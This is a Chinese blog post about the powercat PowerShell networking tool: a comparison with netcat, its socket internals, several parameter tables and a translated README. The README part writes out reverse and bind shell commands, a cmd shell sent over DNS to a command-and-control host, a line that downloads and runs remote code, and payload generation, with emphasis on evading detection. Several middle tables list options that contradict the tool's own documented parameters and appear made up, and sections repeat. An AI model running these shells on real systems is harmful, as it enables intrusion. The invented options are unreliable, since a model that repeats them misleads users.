powercat 是一个 PowerShell 脚本工具,用于建立基于 TCP 的网络连接,类似于传统的 netcat 工具。它的功能非常强大,可以用于调试、端口扫描、反向 shell 等多种网络任务。下面是 powercat 命令常用参数的分类表格:

GitHub - secabstraction/PowerCat: A PowerShell TCP/IP swiss army knife.

GitHub - besimorhino/powercat: netshell features all in version 2 powershell

NetcatPowerCat 的对比表格,突出它们的主要区别和特点:

特性 Netcat PowerCat
平台支持 主要用于 LinuxUnix 系统,也支持 Windows 版本 专为 Windows 平台设计,基于 PowerShell 实现
语言/技术栈 用 C 语言编写 用 PowerShell 编写,依赖 .NET Framework
协议支持 主要支持 TCP 和 UDP 协议 主要支持 TCP 协议,支持 UDP
功能 端口扫描、反向连接、监听、数据传输、简单的文件传输 端口扫描、反向连接、监听、数据传输、文件传输
反向连接 支持 支持
监听模式 支持 支持
文件传输 支持简单的文件传输,通常通过管道或重定向 支持文件传输,通过TCP连接传输文件
加密和压缩 不提供内建的加密或压缩功能 可通过外部脚本或工具实现加密和压缩
依赖环境 不依赖其他工具或语言,直接可用 需要安装 PowerShell,依赖 .NET Framework
使用复杂性 简单的命令行工具,使用起来很直接 基于 PowerShell,命令行参数稍显复杂
隐蔽性 相对较容易被 IDS/IPS 检测,尤其是在无加密时 可通过 PowerShell 脚本进行加密、压缩,隐蔽性较好
端口扫描 支持端口扫描功能 支持端口扫描功能
操作系统兼容性 支持多平台,主要用于类 Unix 系统(Linux、macOS) 仅支持 Windows 系统(基于 PowerShell)
多重连接支持 支持多连接,适用于同时处理多个连接的场景 支持多连接,适用于同时处理多个连接的场景
外部依赖 不依赖任何外部工具,纯命令行工具 依赖 PowerShell 环境
开发/更新情况 Netcat 是一个经典工具,已经不再更新 PowerCat 是一个相对较新的工具,活跃更新
使用场景 渗透测试、网络调试、攻击/防御演练等 渗透测试、网络调试、Windows 平台下的攻击/防御演练

主要区别总结:

  1. 平台支持:Netcat 在多平台上支持良好,特别是 Unix/Linux 系统,而 PowerCat 仅适用于 Windows 系统,并且需要 PowerShell 环境。

  2. 技术栈和语言:Netcat 是用 C 语言编写的独立命令行工具,比较轻量;而 PowerCat 基于 PowerShell 和 .NET 实现,依赖于 Windows 环境中的 PowerShell。

  3. 协议支持:Netcat 支持 TCP 和 UDP 协议,非常适合需要 UDP 支持的网络操作;而 PowerCat 目前仅支持 TCP 协议。

  4. 隐蔽性和加密:PowerCat 相对更具隐蔽性,可以通过 PowerShell 实现加密和压缩来增强隐蔽性。Netcat 没有内建加密功能,容易被 IDS/IPS 系统检测。

  5. 功能和复杂性:两者功能上较为接近,支持端口扫描、反向连接、监听、文件传输等。Netcat 操作简单直接,适用于各种场景,而 PowerCat 利用 PowerShell 的强大功能,可以灵活定制脚本,但使用复杂性稍高。

总体来说,Netcat 是跨平台、轻量的经典网络工具,适用于大部分 UNIX/Linux 系统;而 PowerCat 主要面向 Windows 系统,并借助 PowerShell 提供了更多灵活的功能和更强的隐蔽性。

Powercat是什么?

Powercat 是一个基于 PowerShell 的工具,设计目标是简化和增强网络通信功能,尤其在渗透测试和网络分析中非常有用。它的功能包括但不限于:

  • 端口扫描
  • 反向连接与监听
  • 文件传输
  • 数据加密与压缩
  • 支持代理连接
  • 启用反向 shell 和绑定 shell

Powercat 的本质上是一个 多用途的网络工具,可以用来创建 TCP/UDP 连接、进行数据传输、提供远程控制等。

Powercat 怎么样?

Powercat 是非常轻量且易于使用的工具,能够帮助网络安全专家、渗透测试人员、红队成员等在不同的操作环境中执行多种任务。其使用 PowerShell 脚本的特性使它在 Windows 系统中非常方便,不需要依赖其他额外的第三方应用程序。相比传统的 Netcat,Powercat 通过 PowerShell 脚本提供了更多的灵活性。

功能特点

  1. 反向连接:能够将目标系统的连接反向发起到攻击者的机器,这对于绕过防火墙和 NAT 非常有用。
  2. 端口扫描与服务探测:可以扫描目标主机的开放端口,帮助渗透测试人员评估系统的潜在漏洞。
  3. 文件传输:支持在系统间传输文件,便于获取或上传敏感数据。
  4. 隐蔽性增强:提供加密传输、代理支持、隐蔽模式等功能,减少被防火墙、IDS/IPS 系统检测到的风险。
  5. 简单易用:基于 PowerShell,使得命令执行和脚本化操作变得更为简洁和强大。

Powercat 为什么有用?

Powercat 的有用性体现在它能够填补 Windows 环境中某些工具的空白,特别是在执行网络渗透测试、建立反向 shell、端口扫描、文件传输等场景时,它的 便捷性灵活性 显得尤为突出。

以下是 Powercat 的几个重要用途:

  1. 渗透测试和反向连接:

    • Powercat 允许渗透测试人员通过反向连接获取目标计算机的控制,尤其是在目标计算机位于防火墙或 NAT 后面时非常有用。
    • 通过 -r <host>:<port> 参数,可以快速建立反向连接。
  2. 数据传输和文件共享:

    • Powercat 还可以用于文件传输,方便将工具或数据从本地系统上传到目标系统,或者将目标系统中的数据下载到攻击者机器上。
    • 使用 -file <path> 可以方便地上传或下载文件。
  3. 端口扫描与漏洞检测:

    • 它的端口扫描功能可以帮助用户快速了解目标系统上开放的端口,从而为进一步的攻击计划提供信息。
  4. 绕过防火墙和代理支持:

    • Powercat 允许用户通过指定代理连接或使用加密、压缩等方式来隐藏通信流量,避开监控系统的检测。
  5. 远程控制与命令执行:

    • Powercat 支持通过反向 shell 和 bind shell 执行远程命令,有助于控制受害机器并执行攻击操作。

为什么使用 Powercat?

  1. 轻量且高效

    • Powercat 是 PowerShell 脚本,不需要安装额外的工具,可以快速运行并执行任务。特别是在 Windows 环境中,使用 PowerShell 本身就能提供更高的集成性和兼容性。
  2. 强大的功能

    • 提供了包括端口扫描、反向连接、数据加密等多种功能。对于需要进行渗透测试或快速进行远程操作的用户来说,Powercat 是一个非常方便的工具。
  3. Windows 本地支持

    • 由于 Powercat 是基于 PowerShell 构建的,它几乎在所有 Windows 系统上都可以使用,这使得它在 Windows 环境中的使用非常方便,特别是当目标系统是 Windows 操作系统时。
  4. 隐蔽性与安全性

    • 支持多种隐蔽模式(如加密、代理、压缩等),增强了其在进行渗透测试时的隐蔽性。防止被目标系统的防火墙、IDS/IPS 系统检测到。

Powercat 是一个非常有用的网络工具,专门为 Windows 系统环境下的网络攻击和渗透测试设计。它结合了简洁的 PowerShell 脚本和强大的网络通信功能,可以广泛应用于远程连接、端口扫描、文件传输等多种场景。由于其轻量、易用、强大且支持高隐蔽性,Powercat 已成为网络安全专家和渗透测试人员常用的工具之一。


Powercat 是一个基于 PowerShell 的网络工具,它模仿了经典的 Netcat 工具,提供了类似的功能,但在 Windows 环境中具有更好的兼容性和灵活性。为了理解 Powercat 的底层原理,我们需要从几个核心概念入手:网络编程原理PowerShell 的使用反向连接端口扫描、以及 数据传输 等方面。

1. Powercat的底层原理

Powercat 使用 PowerShell 内建的网络功能来实现各种操作。以下是 Powercat 实现的主要功能和底层原理:

1.1. 网络通信与TCP/UDP连接

Powercat 实现了类似于 Netcat 的功能,核心是通过 Windows 下的 PowerShell 网络库进行 TCP 和 UDP 连接的建立。它依赖于 System.Net.Sockets.TcpClientSystem.Net.Sockets.TcpListener 等类来实现与目标主机的连接和数据传输。

  • TcpClient 用于发起到远程主机的连接(用于客户端行为)。
  • TcpListener 用于监听端口并等待接入的连接(用于服务器行为)。

1.2. 监听与反向连接

Powercat 提供了监听模式和反向连接模式。

  • 监听模式:Powercat 可以通过 TcpListener 在指定端口上监听传入的连接请求。其他主机可以通过指定目标主机 IP 和端口,向 Powercat 发送数据或请求连接。

  • 反向连接模式:当 Powercat 在目标系统上运行时,它可以通过创建一个到攻击者机器的 TCP 连接,向攻击者机器发起连接请求。这对于绕过防火墙和 NAT 非常有用。

1.3. 端口扫描

Powercat 可以通过循环尝试不同的端口来扫描目标主机是否开放某个端口。这利用了 PowerShell 的 System.Net.Sockets.TcpClient 来进行连接尝试,如果连接成功,则表明目标主机上该端口开放。

原理上,它类似于传统的端口扫描工具(如 Nmap),通过检测目标端口的响应来确定端口的状态。

1.4. 数据传输与文件传输

Powercat 的数据传输功能基于 PowerShell 的 流操作,如 StreamWriterStreamReader,来处理通过 TCP 连接传输的数据。这些流可以在连接建立后持续地接收和发送数据。

对于 文件传输,Powercat 可以通过 TCP 连接发送和接收文件数据块。这些文件通常会被分割成多个小数据包,然后通过网络传输,并在接收端重组为完整文件。

2. PowerShell 中的核心网络操作

Powercat 的底层依赖 PowerShell 的一些基础网络操作,以下是一些主要的 PowerShell 功能和类:

2.1. 使用 TcpListener 监听端口

powershellCopy Code
$listener = New-Object System.Net.Sockets.TcpListener([System.Net.IPAddress]::Any, 9999)
$listener.Start()
$client = $listener.AcceptTcpClient()

这段代码展示了如何在指定端口上监听 TCP 连接。当 Powercat 在目标主机上运行时,它会在指定端口(如 9999)启动一个 TCP 监听器,等待传入连接。

2.2. 建立连接

powershellCopy Code
$tcpClient = New-Object System.Net.Sockets.TcpClient
$tcpClient.Connect("attacker_host", 9999)

这段代码展示了如何从 Powercat 客户端向攻击者主机的指定端口建立 TCP 连接。连接成功后,Powercat 可以通过该连接进行数据交换。

2.3. 数据读取和写入

Powercat 使用 NetworkStream 来在客户端和服务器之间进行数据交换:

powershellCopy Code
$stream = $tcpClient.GetStream()
$reader = New-Object System.IO.StreamReader($stream)
$writer = New-Object System.IO.StreamWriter($stream)

通过 StreamReaderStreamWriter,Powercat 可以读取和写入通过网络连接传输的字节流。

3. Powercat 的关键命令和功能

Powercat 支持许多命令行选项,这些选项控制其行为,包括监听端口、反向连接、文件传输等。以下是几个常用的功能及其底层实现原理:

3.1. 反向连接

powershellCopy Code
Powercat.exe -c <attacker_ip> -p <attacker_port> -e cmd.exe

在这种模式下,Powercat 在目标机器上执行,并通过 TCP 连接向攻击者的 IP 和端口发送请求,建立反向连接并执行命令。

底层原理:这基于 TcpClient 发起的反向连接,攻击者主机通过 TcpListener 接受连接后,可以对目标机器执行命令。

3.2. 监听模式

powershellCopy Code
Powercat.exe -l -p <port> -e cmd.exe

此模式下,Powercat 在本地机器上启动监听,等待其他机器连接。一旦有连接到来,它将启动一个 shell(如 cmd.exe)并通过网络流向客户端。

底层原理:监听端口时,Powercat 使用 TcpListener,一旦建立连接,数据会通过网络流进行传输。

3.3. 端口扫描

powershellCopy Code
Powercat.exe -t <target_ip> -p <port_range>

Powercat 使用 TcpClient 逐个端口尝试连接目标主机,查看哪些端口是开放的。它通过捕获连接错误来确定端口状态。

3.4. 文件传输

powershellCopy Code
Powercat.exe -c <target_ip> -p <port> -f <file_path>

Powercat 支持文件传输功能,数据通过网络连接进行传输。它将文件分割成小块,然后逐步通过 TCP 连接发送到目标系统。

4. 数据加密与隐蔽

在一些情况下,Powercat 还可以通过加密和压缩来提高隐蔽性,防止流量被防火墙和 IDS/IPS 系统检测。为了提高隐蔽性,Powercat 可以通过以下几种方式处理数据:

  • 加密:通过加密数据流,使其无法被轻易识别。
  • 代理:支持通过代理进行通信,增加隐蔽性。
  • 压缩:在发送数据之前进行压缩,减小流量并减少被检测到的机会。

Powercat 的底层原理基于 PowerShell 的网络编程功能,利用 TcpClientTcpListener 等类来建立和监听 TCP 连接,同时通过 StreamReaderStreamWriter 进行数据交换。它支持反向连接、端口扫描、文件传输等功能,适用于渗透测试和红队攻击活动。在其实现中,Powercat 充分利用了 PowerShell 的简洁性和灵活性,结合了一些常见的网络通信原理,实现了类似于 Netcat 的网络工具,且具有更强的隐蔽性和兼容性。


PowerCat 命令行参数按功能分类的表格:

功能分类 选项 描述
连接与监听 -l 监听连接 (Listen for a connection)
  -c 连接到监听器 (Connect to a listener)
  -p 连接或监听的端口 (The port to connect to, or listen on)
执行命令 -e 执行命令 (Execute. Warning: GAPING_SECURITY_HOLE)
  -ep 执行 PowerShell 脚本 (Execute Powershell)
数据传输 -r 中继数据 (Relay data. Format: "-r tcp:10.1.1.1:443")
  -u 通过 UDP 传输数据 (Transfer data over UDP)
  -dns 通过 DNS 传输数据 (Transfer data over DNS - dnscat2)
超时与限制 -dnsft DNS 失败阈值 (DNS Failure Threshold)
  -t 超时设置 (Timeout option, Default: 60 seconds)
输入与输出 -i 输入文件路径、字节数组或字符串 (Input: Filepath, byte array, or string)
  -o 控制台输出类型 (Console Output Type: "Host", "Bytes", or "String")
  -of 输出文件路径 (Output File Path)
连接管理 -d 连接后断开 (Disconnect after connecting)
  -rep 重复连接 (Repeater: Restart after disconnecting)
有效载荷生成 -g 生成有效载荷 (Generate Payload)
  -ge 生成编码后的有效载荷 (Generate Encoded Payload)
帮助与文档 -h 打印帮助信息 (Print the help message)

主要功能分类:

  1. 连接与监听:用于控制监听端口、连接到监听器的功能。
  2. 执行命令:用于执行系统命令或 PowerShell 脚本(注意安全隐患)。
  3. 数据传输:支持不同协议的传输(TCP、UDP、DNS等)。
  4. 超时与限制:设置连接的超时和 DNS 传输的失败阈值。
  5. 输入与输出:控制数据输入来源与输出格式(文件或控制台)。
  6. 连接管理:处理连接的断开和重连操作。
  7. 有效载荷生成:用于生成有效载荷,包括普通和编码后的。
  8. 帮助与文档:显示帮助信息,提供使用指导。

PowerCat 的命令行参数按功能分类的表格:

功能分类 命令 选项 描述
启动监听器/服务器 Start-PowerCat -Mode 设置模式,默认是 TCP,可以指定 UDP 或 SMB。
    -Port 设置监听端口。
    -PipeName 设置监听的管道名称。
    -SslCn 设置 SSL 加密的 TCP 使用的通用名称。
    -Relay 格式:<Mode>:<Port/PipeName>,设置数据转发。
    -Execute 执行控制台进程或 PowerShell 脚本。
    -SendFile 设置要发送的文件路径。
    -ReceiveFile 设置接收文件保存路径。
    -Disconnect 连接后断开。
    -KeepAlive 连接断开后重启。
    -Timeout 设置超时选项,默认 60 秒。
连接客户端 Connect-PowerCat -Mode 设置模式,默认是 TCP,可以指定 UDP 或 SMB。
    -RemoteIp 设置要连接的远程 IPv4 地址。
    -Port 设置连接的端口。
    -PipeName 设置连接的管道名称。
    -SslCn 设置 SSL 加密的 TCP 使用的通用名称。
    -Relay 格式:<Mode>:<IP>:<Port/PipeName>,设置数据转发。
    -Execute 执行控制台进程或 PowerShell 脚本。
    -SendFile 设置要发送的文件路径。
    -ReceiveFile 设置接收文件保存路径。
    -Disconnect 连接后断开。
    -Timeout 设置超时选项,默认 60 秒。

主要功能分类:

  1. 启动监听器/服务器:配置和启动一个监听器或服务器,等待客户端连接。
  2. 连接客户端:连接到远程服务器或监听器,作为客户端进行通信。
  3. 文件传输:通过指定 -SendFile 和 -ReceiveFile 选项,支持文件的发送和接收。
  4. 执行命令:通过 -Execute 选项,支持在连接的设备上执行控制台命令或 PowerShell 脚本。
  5. 超时与连接管理:设置连接的超时选项,管理连接的断开与重启(-Disconnect-KeepAlive)。
  6. 加密与安全:通过 -SslCn 选项,可以启用 SSL 加密(仅适用于 TCP 模式)。
  7. 数据转发:通过 -Relay 选项,可以设置数据转发功能,用于中继连接。

powercat 是一个 PowerShell 脚本工具,用于建立基于 TCP 的网络连接,类似于传统的 netcat 工具。它的功能非常强大,可以用于调试、端口扫描、反向 shell 等多种网络任务。下面是 powercat 命令常用参数的分类表格:

功能类别 命令参数 描述
基本连接 -l 启动监听模式,等待连接。
  -c <host>:<port> 连接到指定的主机和端口。
端口扫描 -p <port> 指定端口号,用于扫描时确定目标端口。
  -scan 执行端口扫描,扫描指定主机的端口。
反向连接 -e <cmd> 启动一个命令行(通常用于反向 shell)并将其传输至目标主机。
  -r <host>:<port> 启动反向连接到指定的主机和端口。
文件传输 -file <path> 传输文件到远程系统,或从远程系统接收文件。
加密与压缩 -enc 启用加密模式。
  -zip 启用压缩模式,传输数据时对数据进行压缩。
调试与日志 -v 启用详细的调试模式,显示更多信息。
  -debug 显示调试信息,帮助诊断命令的执行情况。
代理支持 -proxy <host>:<port> 配置通过代理服务器进行连接。
持久化连接 -t <seconds> 设置连接超时时间,单位为秒。
连接模式 -u 使用 UDP 协议进行通信,而非默认的 TCP 协议。
附加功能 -h 显示帮助信息。
  -i 设置连接的输入超时时间。
  -o <file> 将输出重定向到指定的文件。

说明:

  • powercat 的基本功能包括建立 TCP/UDP 连接、监听端口、发送/接收文件、执行命令等。
  • 参数如 -c-l-r 等代表了其客户端、服务器模式或者反向连接模式。
  • -scan-p-proxy 等用于执行端口扫描、代理配置等高级功能。

需要注意的是,powercat 是一款功能强大的网络工具,常用于渗透测试和调试,适合有网络安全相关背景的用户使用。


powercat 命令的高级功能分类及其参数的表格化展示:

功能类别 命令参数 描述
端口扫描与扫描 -scan 执行端口扫描,扫描目标主机的开放端口。
  -p <port> 扫描指定端口,检查目标主机上的端口是否开放。
反向连接与监听 -r <host>:<port> 启动反向连接,连接到指定的主机和端口。
  -l 启动监听模式,等待连接。
  -e <cmd> 启动并执行命令行(常用于反向 shell)。
加密与压缩 -enc 启用加密模式,确保数据传输的安全性。
  -zip 启用压缩模式,传输数据时对数据进行压缩,减少带宽占用。
代理支持 -proxy <host>:<port> 配置代理服务器,通过代理服务器进行连接。
文件传输 -file <path> 传输指定文件到远程系统,或从远程系统接收文件。
连接超时与持久化 -t <seconds> 设置连接的超时时间(单位:秒),帮助避免长时间无响应的连接。
  -i <seconds> 设置输入超时时间(单位:秒),控制每次输入等待的时间。
连接模式 -u 使用 UDP 协议进行连接,而非默认的 TCP 协议。
调试与日志功能 -v 启用详细调试模式,显示更多执行过程中的信息。
  -debug 启用调试模式,帮助诊断命令的执行过程,输出更多调试信息。
输出控制 -o <file> 将命令的输出重定向到指定的文件中。
帮助与命令信息 -h 显示帮助信息,列出所有可用的命令和参数。

说明:

  • 端口扫描与扫描: 适用于扫描目标主机的开放端口,使用 -scan 和 -p 来查看主机的网络服务。
  • 反向连接与监听: 包括监听模式和反向连接的启动,常用于渗透测试、远程访问等场景。
  • 加密与压缩: 支持数据加密和压缩,在执行高风险操作时提高数据安全性并减少传输数据量。
  • 代理支持: 可以通过代理服务器建立连接,这对于绕过防火墙或隐匿身份非常有用。
  • 文件传输: 支持在网络连接之间传输文件。
  • 连接超时与持久化: 控制连接的持续时间和响应超时,帮助优化网络操作。
  • 调试与日志功能: 提供调试和详细日志输出功能,便于监控和排查错误。
  • 输出控制: 可以将执行结果输出到文件,以便后续查看或保存日志。

Powercat 命令的高阶技巧功能分类及其参数的表格化展示,帮助用户更好地理解如何利用 Powercat 进行高级操作和功能使用。

功能类别 命令参数 描述
反向连接与监听 -r <host>:<port> 发起反向连接到指定主机与端口,常用于渗透测试、远程控制。
  -l 启动监听模式,等待远程连接。
  -e <cmd> 执行特定命令(通常用于获取远程 shell)。
端口扫描与漏洞检测 -scan 执行端口扫描,扫描目标主机的开放端口。
  -p <port> 指定扫描端口,检查该端口是否开放。
  -s <host> 扫描指定主机的多个端口,常用于网络映射与漏洞扫描。
加密与压缩 -enc 启用数据加密,确保信息传输时的安全性。
  -zip 启用数据压缩,减少传输数据的体积,提高效率。
代理支持 -proxy <host>:<port> 通过代理服务器连接,绕过防火墙或隐藏来源。
文件传输 -file <path> 上传或下载文件,支持本地与远程系统间的文件传输。
持续连接与重连 -t <seconds> 设置连接超时时间,防止连接断开。
  -i <seconds> 设置输入超时时间,控制每次输入的等待时间。
  -reconnect 在连接断开后自动尝试重连,适用于不稳定网络环境。
UDP支持 -u 使用 UDP 协议建立连接,适用于实时数据传输。
隐蔽性与防检测 -stealth 启用隐蔽模式,减少命令行工具的检测痕迹。
命令输出控制 -v 启用详细模式,输出更多调试信息。
  -o <file> 将执行结果输出到指定文件中,支持重定向日志或错误信息。
  -debug 启用调试模式,输出详细的执行过程和数据传输信息,帮助排查错误或分析网络行为。
连接模式 -tcp 强制使用 TCP 协议进行连接(默认)。
多平台兼容性 -os <os_type> 指定目标操作系统类型(例如 Windows 或 Linux),以确保命令兼容。
反向 Shell 与命令执行 -reverse 启动反向 shell,可以连接到目标并执行任意命令。
  -bind 启动绑定 shell,在目标主机上开启监听,等待外部连接。
网络工具 -nc 启动 Netcat 模式,用于创建和测试 TCP 或 UDP 连接,类似于传统的 nc 命令。
日志与监控 -log 启用日志记录,将连接信息或命令执行记录存储到文件中,方便事后分析。
网络嗅探与监控 -sniff 启动数据包嗅探模式,监控传输的网络流量,捕获指定的包或流量。
用户交互与自动化 -auto 自动化执行预设命令,省略人工输入,适合批量操作或远程任务。
资源限制 -limit 设置连接的带宽或数据流量限制,以避免网络资源过度占用。

高级技巧与应用场景:

  • 反向连接与监听:在渗透测试中,反向连接 (-r) 用于绕过防火墙或 NAT,反向 shell 和 bind shell (-e 和 -bind) 常用于获取远程目标系统的控制。
  • 端口扫描:通过 -scan 和 -p 扫描目标主机的端口可以帮助确定开放的服务和潜在的漏洞点。
  • 隐蔽性:使用 -stealth 和 -enc 加密及隐蔽连接可以减少被检测的风险,适合进行匿名渗透或数据传输。
  • 文件传输与持续连接:通过 -file-t-i 和 -reconnect 结合使用,可以在复杂环境中保持稳定的连接并实现文件的高效传输。
  • 代理和多平台兼容:通过 -proxy 配置代理服务器,可以在受限制的网络环境中绕过防火墙,-os 确保在不同操作系统上执行命令时的兼容性。

通过这些高级技巧,Powercat 成为渗透测试、远程访问、数据传输和漏洞扫描等任务中不可或缺的工具。


 


Powercat 是 Netcat 的 PowerShell 版本。支持 Powershell 版本 2 及更高版本。

安装 powercat 是一个 PowerShell 函数。在执行之前,您需要先加载这个函数。您可以将以下命令之一放入您的 PowerShell 配置文件中,这样在 PowerShell 启动时就会自动加载 powercat。

从下载的 .ps1 文件加载函数: . .\powercat.ps1 从 URL 加载函数: IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1') 参数: -l 监听连接。 [Switch] -c 连接到监听器。 [String] -p 要连接或监听的端口。 [String] -e 执行。(存在安全漏洞) [String] -ep 执行 PowerShell。 [Switch] -r 中继。格式:"-r tcp:10.1.1.1:443" [String] -u 通过 UDP 传输数据。 [Switch] -dns 通过 DNS 传输数据(dnscat2)。 [String] -dnsft DNS 失败阈值。 [int32] -t 超时选项。默认值:60 [int32] -i 输入:文件路径(字符串)、字节数组或字符串。[object] -o 控制台输出类型:"Host"、"Bytes" 或 "String" [String] -of 输出文件路径。 [String] -d 连接后断开。 [Switch] -rep 重复器。断开连接后重新启动。 [Switch] -g 生成有效载荷。 [Switch] -ge 生成编码的有效载荷。 [Switch] -h 打印帮助信息。 [Switch]

基本连接 默认情况下,powercat 从控制台读取输入,并使用 write-host 将输入写入控制台。您可以使用 -o 将输出类型更改为'Bytes'或'String'。

基本客户端: powercat -c 10.1.1.1 -p 443 基本监听器: powercat -l -p 8000 基本客户端,输出为字节: powercat -c 10.1.1.1 -p 443 -o Bytes

文件传输 可以使用 powercat 使用 -i(输入)和 -of(输出文件)来回传输文件。

发送文件: powercat -c 10.1.1.1 -p 443 -i C:\inputfile 接收文件: powercat -l -p 8000 -of C:\inputfile

Shell powercat 可以用于发送和提供 shell。指定一个可执行文件给 -e,或者使用 -ep 来执行 PowerShell。

提供一个 cmd Shell: powercat -l -p 443 -e cmd 发送一个 cmd Shell: powercat -c 10.1.1.1 -p 443 -e cmd 提供一个执行 PowerShell 命令的 shell: powercat -l -p 443 -ep

DNS 和 UDP powercat 支持不仅可以通过 TCP 发送数据。指定 -u 来启用 UDP 模式。也可以使用 -dns 向 dnscat2 服务器发送数据。运行 dnscat2 服务器时,请确保添加 "-e open --no-cache"。

通过 UDP 发送数据: powercat -c 10.1.1.1 -p 8000 -u powercat -l -p 8000 -u 连接到 c2.example.com dnscat2 服务器,使用位于 10.1.1.1 上的 DNS 服务器: powercat -c 10.1.1.1 -p 53 -dns c2.example.comc2.example.com dnscat2 服务器发送一个 shell,使用 Windows 默认的 DNS 服务器: powercat -dns c2.example.com -e cmd

中继 powercat 中的中继工作方式类似于传统的 netcat 中继,但您无需创建文件或启动第二个进程。还可以在不同协议的连接之间中继数据。

TCP 监听器到 TCP 客户端中继: powercat -l -p 8000 -r tcp:10.1.1.16:443 TCP 监听器到 UDP 客户端中继: powercat -l -p 8000 -r udp:10.1.1.16:53 TCP 监听器到 DNS 客户端中继 powercat -l -p 8000 -r dns:10.1.1.1:53:c2.example.com 使用 Windows 默认 DNS 服务器的 TCP 监听器到 DNS 客户端中继 powercat -l -p 8000 -r dns:::c2.example.com TCP 客户端到客户端中继 powercat -c 10.1.1.1 -p 9000 -r tcp:10.1.1.16:443 TCP 监听器到监听器中继 powercat -l -p 8000 -r tcp:9000

生成有效载荷 可以使用 -g(生成有效载荷)和 -ge(生成编码有效载荷)生成执行特定操作的有效载荷。编码有效载荷可以使用 powershell -E 执行。如果您不想使用所有 powercat,可以使用这些。

生成一个反向 tcp 负载,连接回 10.1.1.15 端口 443: powercat -c 10.1.1.15 -p 443 -e cmd -g 生成一个绑定 tcp 编码命令,监听端口 8000: powercat -l -p 8000 -e cmd -ge

其他用途 powercat 也可用于执行端口扫描,并启动持久性服务器。

基本 TCP 端口扫描器: (21,22,80,443) | % {powercat -c 10.1.1.10 -p $_ -t 1 -Verbose -d} 启动一个服务一个文件的持久服务器: powercat -l -p 443 -i C:\inputfile -rep

posted @ 2024-03-03 13:40  suv789  阅读(219)  评论(0)    收藏  举报